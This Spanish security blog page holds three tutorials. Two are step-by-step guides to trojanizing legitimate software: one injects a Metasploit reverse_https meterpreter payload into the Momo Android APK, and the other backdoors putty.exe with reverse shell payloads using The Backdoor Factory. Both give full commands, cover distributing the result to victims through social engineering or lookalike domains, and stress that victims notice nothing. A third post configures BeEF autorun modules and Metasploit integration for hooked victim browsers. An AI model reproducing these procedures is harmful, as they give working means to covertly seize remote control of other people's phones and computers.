En éste artículo se hablará sobre la creación de una APK maliciosa partiendo de una legítima con el objetivo de ganar acceso al dispositivo Android sobre el que se instala. En primer lugar es necesario definir cuál será la aplicación con la que se desea trabajar y descargarla, a efectos prácticos, en éste artículo tomaremos como ejemplo la app Momo (immomo.com/download/momo.apk) la cual es utilizada por millones de personas en el mundo, especialmente en países asiáticos. Posteriormente, se puede crear la app maliciosa utilizando las características disponibles en Metasploit Framework, gracias a la utilidad “msfvenom” se puede generar un payload enfocado específicamente a aplicaciones para Android. El objetivo evidentemente es el de inyectar el payload generado por msfvenom en la app legítima, de una forma similar a lo que hacemos con ejecutables PE o ELF para sistemas Windows y GNU/Linux a la hora de aplicar la técnica de “code caving”. Utilizando una herramienta como “apktool” se puede proceder a desempaquetar y decompilar la APK legítima y la APK generada por metasploit y con ambas muestras, se construye una APK nueva partiendo de la aplicación legítima pero inyectando el payload de Metasploit de tal forma que la aplicación original siga funcionando con normalidad.
Lo que se ha explicado anteriormente se puede llevar a la práctica siguiendo el siguiente procedimiento.

1. En primer lugar, se debe generar la APK maliciosa con Metasploit Framework.

>msfvenom -p android/meterpreter/reverse_https LHOST=xxxx LPORT=4444 -o /home/adastra/meterpreter.apk

No platform was selected, choosing Msf::Module::Platform::Android from the payload

No Arch selected, selecting Arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 9295 bytes

Saved as: /home/adastra/meterpreter.apk

2. A continuación, se procede a descargar la app que tal como se ha dicho antes, en este caso será Momo (immomo.com/download/momo.apk) y se procede a desempaquetar y decompilar todo con Apktool https://ibotpeaches.github.io/Apktool/

Primero la app legítima

>apktool d -f -o originalDecompiled momo_6.7_0413_c1.apk

I: Using Apktool 2.1.0-a7535f-SNAPSHOT on momo_6.7_0413_c1.apk

I: Loading resource table…

I: Decoding AndroidManifest.xml with resources…

I: Loading resource table from file: /home/adastra/apktool/framework/1.apk

I: Regular manifest package…

I: Decoding file-resources…

I: Decoding values */* XMLs…

I: Baksmaling classes.dex…

I: Baksmaling classes2.dex…

I: Baksmaling classes3.dex…

I: Copying assets and libs…

I: Copying unknown files…

I: Copying original files…

Y luego, la APK generada por Metasploit Framework.

>apktool d -f -o meterpreterDecompiled meterpreter.apk

I: Using Apktool 2.1.0-a7535f-SNAPSHOT on meterpreter.apk

I: Loading resource table…

I: Decoding AndroidManifest.xml with resources…

I: Loading resource table from file: /home/adastra/apktool/framework/1.apk

I: Regular manifest package…

I: Decoding file-resources…

I: Decoding values */* XMLs…

I: Baksmaling classes.dex…

I: Copying assets and libs…

I: Copying unknown files…

I: Copying original files…

3. A continuación, se copian los ficheros decompilados correspondientes al payload, directamente en la aplicación original decompilada. Concretamente, se deben copiar los ficheros ubicados en:

<meterpreter_apk>/smali

En el directorio:

<momo_apk>/smali

De esta forma, cuando la aplicación APK original vuelva a ser recompilada tendrá en su interior el payload correspondiente. No obstante, hasta este punto el código de dicho payload no será ejecutable, ya que aún no se ha alterado el flujo de ejecución de la aplicación original.

4. Se ha procedido a inyectar el “hook” de Meterpreter en la aplicación original (陌陌), pero para asegurar su ejecución, es necesario inyectar el payload en el código .smali.

Para hacerlo, primero se debe buscar la “activity” adecuada, las cuales se encuentran declaradas en el fichero “AndroidManifest.xml” de la aplicación original. Se debe buscar el lanzador de la aplicación:

<action android:name=”android.intent.action.MAIN”/>

<category android:name=”android.intent.category.LAUNCHER”/>

El atributo android:name de la “activity” principal de MoMo es: android:name=”com.immomo.momo.android.activity.WelcomeActivity”

A continuación, se debe editar el código de la “activity” principal de la aplicación, la cual como se ha visto es “WelcomeActivity” y se encuentra ubicada en

<momo_apk>/smali/com/immomo/momo/android/activity/WelcomeActivity

5. Una vez abierto el código correspondiente a la activity principal de la aplicación, se procede a buscar la función “main” de la clase, la cual debe cumplir con el siguiente patrón:

;->onCreate(Landroid/os/Bundle;)V

En la línea inmediatamente posterior se debe incluir la invocación al payload de Metasploit Framework, que contendrá lo siguiente:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

El aspecto que finalmente tendrán dichas instrucciones en la activity “WelcomeActivity” se puede apreciar en la siguiente imagen

 

6. Antes de recompilar la aplicación original con el payload inyectado, es necesario establecer los permisos adecuados para que el payload se pueda ejecutar correctamente, dichos permisos deben ser los siguientes:

7. Con los cambios anteriores, se procede a recompilar la aplicación original utilizando APKTool

>apktool b original/originalDecompiled/

I: Using Apktool 2.1.0-a7535f-SNAPSHOT

I: Checking whether sources has changed…

I: Smaling smali folder into classes.dex…

I: Checking whether sources has changed…

I: Smaling smali_classes3 folder into classes3.dex…

I: Checking whether sources has changed…

I: Smaling smali_classes2 folder into classes2.dex…

I: Checking whether resources has changed…

I: Building resources…

I: Copying libs… (/lib)

I: Building apk file…

I: Copying unknown files/dir…

El comando anterior dará como resultado la generación de una APK con todos los cambios realizados anteriormente en el directorio <momo_apk>/original/dist

8. Finalmente se debe firmar el APK generado en el paso anterior con una herramienta como JarSigner, esto es importante para que la APK se pueda instalar en el dispositivo.

>jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA original/originalDecompiled/dist/momo_6.7_0413_c1.apk androiddebugkey

En éste caso se utiliza el keystore por defecto de Android Studio ubicado en <HOME>/.android.

9. Ya está todo preparado, ahora se debe distribuir la APK a aquellos usuarios que sean objetivo de la campaña, evidentemente se deben aplicar las técnicas adecuadas para que los usuarios “piquen” e instalen la aplicación en su dispositivo. Antes de hacerlo, dado que se utiliza Metasploit Framework con un payload del tipo “meterpreter reverse” es necesario iniciar el handler adecuado en la IP/dominio especificado en la propiedad LHOST que se ha indicado a la hora de generar el Payload.

Como se puede apreciar en la imagen anterior, cuando el usuario instala la aplicación en su dispositivo, el payload que se ha inyectado se ejecuta justo después de la invocación a la “activity” principal y el atacante obtiene una sesión Meterpreter, pero lo más importante: La app maliciosa conserva el funcionamiento de la aplicación legítima, sin ningún tipo de interferencia o comportamiento anómalo que haga sospechar a la víctima, esto es sin duda la parte más importante, ya que el usuario no se percatará de lo que está pasando y desde su perspectiva la aplicación funciona correctamente en su dispositivo.

Han sido sólo 9 pasos que nos han permitido componer un vector de ataque interesante enfocado a aplicaciones desarrolladas para dispositivos con Android y aunque éste procedimiento aplica para cualquier APK, es importante tener en cuenta que cada aplicación puede tener características muy concretas que hay que controlar, por ejemplo en el caso de que el código se encuentre ofuscado o que se haga uso de frameworks que debido a su propio funcionamiento, sea necesario tomar un enfoque distinto al explicado en éste artículo, sin embargo el procedimiento sigue siendo perfectamente valido y aplicable a cualquier APK.

Un saludo y Happy Hack!
Adastra.

Inyección de código arbitrario en ejecutables con The Backdoor Factory

abril 11, 2016 5 comentarios

La técnica conocida como “code caving” consiste simplemente en buscar y encontrar un espacio en un fichero ejecutable que permita la inyección de rutinas externas (típicamente shellcodes). Los ficheros ejecutables están compuestos por varias secciones, cada una de las cuales tiene una estructura y funcionamiento especifico. Si por algún motivo, alguna de dichas secciones o incluso el programa entero tienen un tamaño reservado que es superior al que efectivamente utilizan, queda abierta la posibilidad de inyectar subrutinas externas en dichos espacios que están sin utilizar. No solamente es posible modificar secciones existentes, sino que también es posible crear secciones nuevas dependiendo del fichero a modificar. El “code caving” tiene varias ventajas que saltan a la vista, una de ellas es que no es necesario contar con el código fuente del programa, solamente es necesario hacer los ajustes adecuados jugando un poco con los espacios libres que se van encontrando. Por otro lado, es un proceso en el que no se afecta el funcionamiento normal del ejecutable, de hecho, uno de las principales objetivos de aplicar esta técnica es que el programa ejecute el código inyectado como una subrutina cualquiera y continúe con la ejecución de las demás funciones con normalidad. Esto quiere decir que se pueden alterar ficheros ejecutables con el objetivo de inyectar código malicioso y posteriormente, dichos programas van a funcionar del mismo modo que funcionaria el programa original, que es justamente lo que espera ver el usuario.
Este procedimiento se puede llevar a cabo manualmente, utilizando herramientas como OllyDBG, LordPE (para ficheros PE) y algunas otras que permitirán encontrar la mejor forma de inyectar un shellcode, sin embargo en esta ocasión, se hablará sobre The Backdoor Factory, una herramienta que permite automatizar el proceso descrito anteriormente y modificar ficheros ejecutables al vuelo para inyectar shellcodes.

Usando The Backdoor Factory

Se trata de una herramienta que puede instalarse de forma manual desde el código fuente que se encuentra disponible en el repositorio github en: https://github.com/secretsquirrel/the-backdoor-factory y las instrucciones para instalar el programa se encuentran ubicadas en https://github.com/secretsquirrel/the-backdoor-factory/wiki/2.-Installation. El procedimiento de instalación no es complejo y únicamente requiere que las dependencias se encuentren correctamente instaladas, concretamente “pefile” y “capstone”. No obstante, BDF se encuentra disponible en las últimas versiones de Kali Linux, si utilizas la versión 2.x de Kali Linux, ya tendrás BDF instalado en el sistema.

El uso básico de esta herramienta es bastante simple, solamente es necesario indicar el fichero ejecutable que se desea “infectar” y a continuación seleccionar el payload adecuado. Algunos de los parámetros que recibe el script principal por línea de comandos se listan a continuación:

-f / –file: Permite especificar el binario que será analizado por la herramienta y que posteriormente será “backdoorizado”.

-H / –hostip: Dirección IP utilizada para recibir las conexiones reversas iniciadas por las víctimas.

-P / –port:Puerto utilizado para recibir las conexiones reversas iniciadas por las víctimas.

-a / –add_new_section: Como su nombre lo indica, permite crear una nueva sección el fichero ejecutable, la cual incluirá el shellcode seleccionado con la opción “-s”

-s / –shell: Payloads disponibles en BDF. Si se utiliza la palabra reservada “show”, se enseñarán los payloads disponibles.

-d / –directory: En lugar de especificar un único fichero ejecutable, se puede indicar un directorio en donde se encuentran todos los binarios que BDF analizará para posteriormente “backdoorizar”.

-i / –injector: En este modo, BDF intentará verificar si el fichero original es un servicio y en tal caso, intentará detenerlo, sustituir el ejecutable por la versión generada con el shellcode inyectado y renombrar el fichero original con un sufijo, el cual por defecto es “.old”. Se trata de un modo muy útil en procesos de post-explotación.

-u / –suffix: Sufijo que será utilizado por el modo “injector” para sustituir los ficheros ejecutables originales.

Las anteriores son solamente algunas de las posibles opciones que se pueden utilizar desde BDF y como se puede ver su uso puede ser tan simple como lo siguiente:

./backdoor.py -H 192.168.1.237 -P 4444 -s reverse_shell_tcp_inline -f putty.exe -q

En este caso se intenta “backdoorizar” el fichero “putty.exe”, un programa bastante popular entre los usuarios de sistemas Windows para conectarse a otros sistemas por medio de SSH, Telnet, Rlogin, etc. Se utilizará el payload “reverse_shell_tcp_inline”, un payload bastante simple que permite establecer una shell reversa desde el sistema de la víctima hacia un sistema controlado por el atacante. Con las opciones “-H” y “-P” se ha indicado la dirección IP y puerto en donde el atacante tendrá un proceso en estado de escucha, esperando las conexiones por parte de las víctimas. Dicho proceso puede ser tan simple como iniciar un “netcat” en el puerto “4444”.

BDF1Imagen 1: Generando un fichero malicioso con BDF partiendo del programa “putty”.

Después de generar el programa, lo siguiente es conseguir que el objetivo lo ejecute en su sistema y para ello, muy probablemente sea necesario emplear técnicas de ingeniería social, aunque también puede ser perfectamente valido adquirir un dominio muy similar al dominio original donde se distribuye el programa (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html) cambiando, por ejemplo, algunas de las letras del dominio e incluyendo exactamente el mismo contenido de las páginas HTML del sitio legitimo. De esta forma y haciendo una “difusión” del dominio malicioso se puede llegar a un número mucho más elevado de víctimas. Como siempre, todo depende de los objetivos del atacante y su creatividad.
En el caso de que la víctima descargue el fichero malicioso y lo ejecute en su ordenador, verá que no hay ningún tipo de alarma o actividad sospechosa que le haga creer que su ordenador ha sido comprometido debido a la ejecución del programa que acaba de descargar y ejecutar, simplemente verá el programa “putty” funcionando correctamente. Aunque el usuario podrá seguir utilizando el programa como lo hace habitualmente, el atacante ahora tendrá una consola contra su sistema y todo ha sido sigiloso y sin despertar ningún tipo de alarma o sospecha.

BDF2Imagen 2: Atacante interactuando con el sistema de la víctima.

Del mismo modo que es posible establecer un shellcode simple, también se puede establecer uno “staged”, algo que viene muy bien si se quiere recibir la conexión reversa de la víctima con Metasploit Framework. Para eso, en BDF hay varios payloads, resultando especialmente interesante el “iat_reverse_tcp_stager_threaded” el cual utilizará la “Import Address Table” para construir el espacio donde se almacenará el shellcode.

./backdoor.py -H 192.168.1.237 -P 4444 -s iat_reverse_tcp_stager_threaded -f putty.exe -q

Después de generar el fichero malicioso y de establecer el handler de Metasploit para aceptar conexiones por el puerto “4444”, el cliente debe ejecutar el programa y a continuación, se abrirá una nueva sesión “meterpreter” en la consola del atacante, como es habitual.

 BDF3Imagen 3: Obteniendo una sesión “meterpreter” partiendo de un ejecutable generado con BDF.

Aquí solamente se ha visto el uso básico de BDF, pero los conceptos sobre los que se encuentra construida suelen ser mucho más interesantes que simplemente ejecutar un script y obtener un ejecutable malicioso. Es probable que realizar este mismo procedimiento manualmente, sin la ayuda de herramientas como BDF sea mucho más ilustrativo para comprender conceptos tan importantes como las secciones de un ejecutable y las diferentes técnicas de “code caving” que se pueden aplicar utilizando únicamente, un programa para analizar la estructura de programas del tipo PE y un editor hexadecimal. Esto se hará en un próximo artículo.

Un saludo y Happy Hack!
Adastra.

Pentesting automatizado con Beef. Características avanzadas – Parte 2

julio 28, 2015 1 comentario

En el artículo anterior hablaba sobre el proceso de instalación de BeEF y cómo invocar a algunos de los endpoints definidos en su API Rest utilizando cURL y en esta ocasión, voy a explicar cómo utilizar algunas características avanzadas del framework y en el próximo artículo, hablaré sobre cómo utilizar BeEF desde cualquier script en Python.

Ejecutar módulos de forma automática.

Si el panel de control central consigue que muchos usuarios ejecuten el hook en sus navegadores, será una labor bastante tediosa e ineficiente tener que ejecutar los módulos contra cada uno de los objetivos de forma manual. Afortunadamente, los módulos que se encuentran creados en BeEF y los que se pueden crear de forma independiente, deben incluir un fichero de configuración para controlar el comportamiento de dicho módulo, de esta forma, es posible marcar aquellos módulos que resulten interesantes para que se ejecuten de forma automática contra cada nueva víctima, ahorrando mucho tiempo y evitando la necesidad de estar permanentemente pendiente de que se conecten nuevas víctimas y lanzar manualmente los módulos necesarios.
Habilitar esta característica es muy sencillo, solamente hace falta editar el fichero de configuración maestro que se encuentra ubicado en “<BEEF_INSTALL>/config.yaml” y modificar la sección correspondiente a “autorun”

# Autorun modules as soon the browser is hooked.

# NOTE: only modules with target type ‘working’ or ‘user_notify’ can be run automatically.

autorun:

enable: true

allow_user_notify: true

El “autorun” se encuentra habilitado por defecto en el fichero de configuración maestro de la herramienta, sin embargo es necesario activar aquellos módulos que se desea ejecutar cuando se reciba un nuevo zombie, para ello es necesario editar el fichero de configuración “config.yaml” de cada uno de los módulos que se desee activar e incluir la flag “autorun: true”. Todos los módulos de la herramienta se encuentran disponibles en el directorio “<BEEF_INSTALL>/modules” y allí se podrán ver cada uno de los módulos disponibles desde el panel de control de la herramienta. Dentro de cada módulo existe un fichero de configuración llamado “config.yaml”, el cual típicamente contiene una única sección que es “beef” y con una única subsección llamada “module”, en ella se definen todos los detalles de configuración del módulo, incluyendo su nombre, categoría, si se encuentra habilitado o no, entre otros detalles. Este fichero sigue una sintaxis muy similar a los módulos que se encuentran disponibles en Metasploit Framework, ya que es completamente configurable e incluye detalles informativos sobre el funcionamiento del módulo. En este caso, para que un módulo cuyo atributo “target” sea “working” o “user_notify” se pueda lanzar de manera automática ante la conexión de un nuevo zombie, basta con establecer el atributo “autorun” con el valor “true”. El siguiente es un ejemplo del módulo “play_sound” que se encarga de lanzar un zumbido (un poco molesto) en la víctima conectada.

beef:

module:

Play_sound:

enable: true

category: “Browser”

name: “Play Sound”

description: “Play a sound on the hooked browser.”

authors: [“Saafan”]

autorun: true

target:

working: [“All”]

En este caso hay que tener en cuenta que esta característica lo que hace es lanzar todos los módulos que se han marcado con la flag “autorun” contra todas las víctimas que se van conectando, algo que no es deseado en todos los casos, ya que algunos módulos son específicos para un navegador concreto y a veces es mucho mejor poder crear una rutina que permita lanzar un módulo u otro dependiendo de las características del navegador de la víctima. Esto es justo lo que se podría hacer con la API Rest de BeEF y Python, como se verá más adelante.

Extensiones en BeEF

Además de los módulos que permiten ejecutar rutinas en el entorno de la víctima, otra característica muy interesante de BeEF es la posibilidad de ejecutar extensiones que permitirán activar ciertas características en el lado servidor de BeEF. Actualmente existen algunas muy interesantes que permiten integrar otras herramientas de pentesting habituales con BeEF, como es el caso de Metasploit Framework o SET. Para habilitar cualquier extensión disponible en la herramienta o una creada por terceros, se debe editar el fichero de configuración maestro (config.yaml) y habilitar todas las extensiones deseadas en la sección “extension” por ejemplo:

extension:

metasploit:

enable: false

console:

shell:

enable: true

En este caso solamente se habilitan las extensiones de metasploit y la shell de BeEF para trabajar con la herramienta desde línea de comandos en lugar de hacerlo desde la interfaz web.

Para utilizar la extensión de Metasploit, es necesario cargar el modulo “msgrpc” desde “msfconsole” o ejecutar la utilidad “msfrpcd” de Metasploit Framework. En cualquiera de los dos casos, se conseguirá levantar un servicio que permitirá la interacción de forma programática con Metasploit Framework con aplicaciones externas, como es el caso de BeEF.

La siguiente imagen enseña cómo se puede cargar el módulo “msgrpc” desde “msfconsole”

 msgrpcCargando el módulo msgrpc

Ahora que el fichero de configuración maestro ya se encuentra preparado para soportar al extensión de metasploit framework y el servicio MSGRPC se encuentra levantado, es el momento de configurar la extensión e indicar los detalles de conexión con el servidor. Para ello se debe editar el fichero de configuración de la extensión de metasploit, el cual se encuentra ubicado en la siguiente ruta “<BEFF_INSTALL>/extensions/metasploit”. Allí se deben incluir como mínimo, las propiedades que permiten establecer una conexión con el servicio MSGRPC.

Ahora, es el momento de arrancar BeEF y para ello, se puede utilizar la opción “-v” y ver el detalle de las operaciones realiza la herramienta. Como se puede ver en la siguiente imagen.

beefmsfConexión entre Beef y Metasploit

Después de esto, los módulos de metasploit framework quedarán registrados en el panel de control de BeEF como si se tratara de cualquier otro módulo de la herramienta. Evidentemente, algunos de dichos módulos requieren una preparación previa y establecer ciertos valores de configuración, pero desde BeEF se puede hacer utilizando un asistente muy simple.

beefmsf2Módulos de metasploit framework en BeEF

Otra extensión muy interesante es la extensión “console”, la cual permite sustituir el panel de control web por una interfaz por línea de comandos para controlar todos los zombies y realizar otras actividades, del mismo modo que se puede hacer con la utilidad msfconsole de metasploit framework. Para activar esta extensión, la cual viene desactivada por defecto, se debe editar el fichero de configuración principal (config.yaml) y en la sección de extensiones incluir lo siguiente:

console:

shell:

enable: false

Ahora, cuando se arranque la herramienta, en lugar de ver un mensaje indicando que se ha iniciado un servidor web para la gestión de los zombies, se podrá ver un interprete desde el cual se podrán ejecutar comandos.

beefconsoleConsola de BeEF

Desde esta consola se pueden ejecutar varios comandos, los cuales se pueden consultar con el comando “help”, dichos comandos permiten cumplir con exactamente las mismas funciones que se pueden llevar a cabo desde la interfaz web

beefconsole2Comandos disponibles en la consola de BeEF.

Existen otros módulos y extensiones que actualmente se encuentran en desarrollo y que probablemente estarán disponibles en los próximos meses, con lo cual se espera que poco a poco, su uso sea mucho más difundido y alcance los niveles de popularidad de otras herramientas de pentesting y hacking similares.

Saludos y Happy Hack!
Adastra.

A %d blogueros les gusta esto: